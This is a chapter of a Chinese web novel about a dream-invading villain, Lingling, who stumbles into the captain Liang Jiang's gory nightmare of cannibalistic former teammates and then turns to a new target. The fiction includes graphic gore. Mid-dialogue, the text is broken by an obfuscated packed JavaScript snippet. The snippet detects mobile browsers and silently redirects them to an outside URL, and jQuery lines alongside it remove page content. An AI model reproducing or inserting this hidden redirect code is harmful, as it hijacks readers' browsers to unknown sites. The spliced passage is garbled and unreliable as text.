74. 梦杀(3)
作品:《对手?纯粹是一群混蛋》 给人以最想要的,最幸福的幻象,以此来拖着人走向地狱。
想法是非常好的,很多前辈也曾实践成功过。但如果要是负责发布任务的系统知道了这件事,它大约会点评道:
“何必呢?非要来招惹沈无用。”
沈无用是有一个英年早逝的妈,不太靠谱的父亲,但这位妈并不完全把自己活成苦情剧女主,至少从不会和父亲演什么妻子贤惠的戏码,她不会嗔怪,会选择给丈夫来上那么一下。
实行梦杀的那位知道了沈无用缺失母爱,但好像她了解的并不是很多。
如果说第一次提醒穿短裤的时候,沈无用是在试探,那么后面那几次提的要求,说白了,纯粹是沈无用在玩。
对,他在快乐地玩耍,最后还一把推开那个斜刘海女人,从梦中猛地惊醒。
还好有陆槐拉着他,否则他向前倾去,能撞在椅背上。
“醒得很及时,”陆槐说,“到家了!”
*
玲玲的想法很简单。
从哪里跌倒,就要从哪里爬起来。
所以她先找了沈无用,然后在这个地方再狠狠地摔一次,脸朝泥坑屁股朝天那种。
不甘心的她想了又想,把下一个目标定在队长那里。
若玲玲当初没在楼上,而是全程看着查理和队长的对峙,看到这个男人稳如磐石的做派——她大约不会选这个人的。
错误的一支箭就此头也不回地,拉也拉不住地发了出去。
午后,四点。
梁江昨夜扛着鬼牌的侵蚀作用,明面上来看只是身体上有些淤青而已,实际上心神困倦,等从公园里回来,他眯着眼躺在床上,没过多久便沉沉睡去。
周寻安帮着拉上窗帘,弄好空调的温度,楼上的沈无用和陆槐迅速停止先前的无意义斗嘴,联合起来开了一局游戏,在频道里大杀四方。
可以说所有人都很体贴队长,只是谁也未曾注意到外面下雨了。
下雨当然不是稀奇的事情,稀奇的是雨滴被吹落在窗上,有自己的想法一般蜿蜒着交错在一起,竟是画出一只眼睛,正从窗帘的缝隙里偷窥。
*
玲玲现在置身于一间卧室里。
玲玲自认为入侵得非常成功。她趁着那男人虚弱,直达他的内心深处,融入到那自动生成的梦境里,还顺利获得一个真实存在过的身份。
望着屋里再平常不过的摆设,玲玲摸摸床头柜上的娃娃,再坐到梳妆镜前去,看镜子里妍丽年轻的脸。
这次的身份是曾经的队友。玲玲抬着下巴,将手指抚过脸庞,猜度着这张脸的主人和梁江可能会有的关系。
或许是恋人?否则梁江为何会把这个姑娘一直一直记在心里呢?
若是这样那可太好办了。和沈无用扮演母亲,对她这个没结过婚的人来说还是有点难度,但是扮演好一个或青涩单纯,或风情万种的女友,这还不简单吗?
想到这里,玲玲一弯腰,从柜子下方的空隙里拎出一双高跟鞋踩进去,心情愉悦地试着走了几步,将手指搭上门把手。
嘎——没想到这门是腐坏的,她一用力,门把手落在地上,发出当啷一声。
而玲玲还未来得及为这件事诧异,她一抬头,被眼前看到的景象钉死在原地。
人,很多人。
冰箱上蹲着一双腿,沙发上并排坐着三人在看电视,他们看得高兴了,就从对方敞开着的胸腔里随便拽出一些什么肉来,当零食吃,唇齿间一片鲜红色。
除此以外还有各种形态怪异的人,她都不知那些“人”到底算不算人。
玲玲得扶着那摇摇欲坠的门才能支撑着自己站着,她的目光慌里慌张地转,把一切事物筛了又筛,才终于在桌边找到那个队长。
男人回过头来,一半的脸是干净的,另一半的脸刚刚被溅上血珠——那是他身边的青年吃饭吃得太快,把搭在外面的舌头咬爆了。
然而男人不在意这些,他甚至懒得去擦擦右半边脸上的血污,只是凝视着玲玲这边,淡淡道:
“你又换皮了?
脖子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102342|178079||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那里没有缝好。”
语气平常到好像告诉你,你今天吃完饭以后忘了擦嘴,出门之前没有穿好衣服一样。
玲玲顺着他的提示低头,果然发现就在锁骨处,有一道红痕。随着自己的注视,这道红痕的颜色越来越重,然后拉链一般,崩开......
有什么事能比看着皮肤像衣服那样脱落下去更可怕呢?她是穿着衣服的,此时全有被剥光的感觉!
“啊——!”
玲玲发出自己从未有过的尖叫声,掀开门要逃,那本就快垮了的门应声倒地。
而在她溃逃的身后,屋子里的“人”正逐个爆成一团血雾,梁江就坐在这满是血雾的屋子里,低头吃一碗盖着青菜的家常米饭。
*
现在玲玲明白了,梁江的心里不是装着某个队友,他是装着好几个队友,而且这些人......玲玲正式拒绝称呼这些家伙为人。
这倒也就算了,那个队长竟然能安然地坐在他们之中吗?
要死,要死!这个男人比鬼都可怕!
实施梦杀之术这么多年以来,这还是玲玲第一次自己主动强行退出。搁在以往,都是那些可怜人在梦里东撞西撞,拼命地找出口。
她都没想到自己会有慌不择路,差点找不到出去的门的那一天。
这四个人里,就没一个正常人了吗?
附在窗上的眼仍窥视着。
这时那只眼看到一个俊秀的青年走过来,俯下身给队长盖一张薄毯。
好温柔的人,一看就……至少能正常一点,普通一点。
就是可惜了,这人刚进世界不久,上头那位对他的了解也不是很深,没给太多资料。不像对付沈无用和梁江那样,直接告诉她从母亲和队友来入手就好。
——好在梦杀之术本身还是很强大的,只用稍稍调动一下,玲玲就从他的记忆里找到一只兔子。
一只被周寻安养大,然后差点被人拿走炖汤的兔子。
玲玲眼前一亮。
这种故事可太棒了!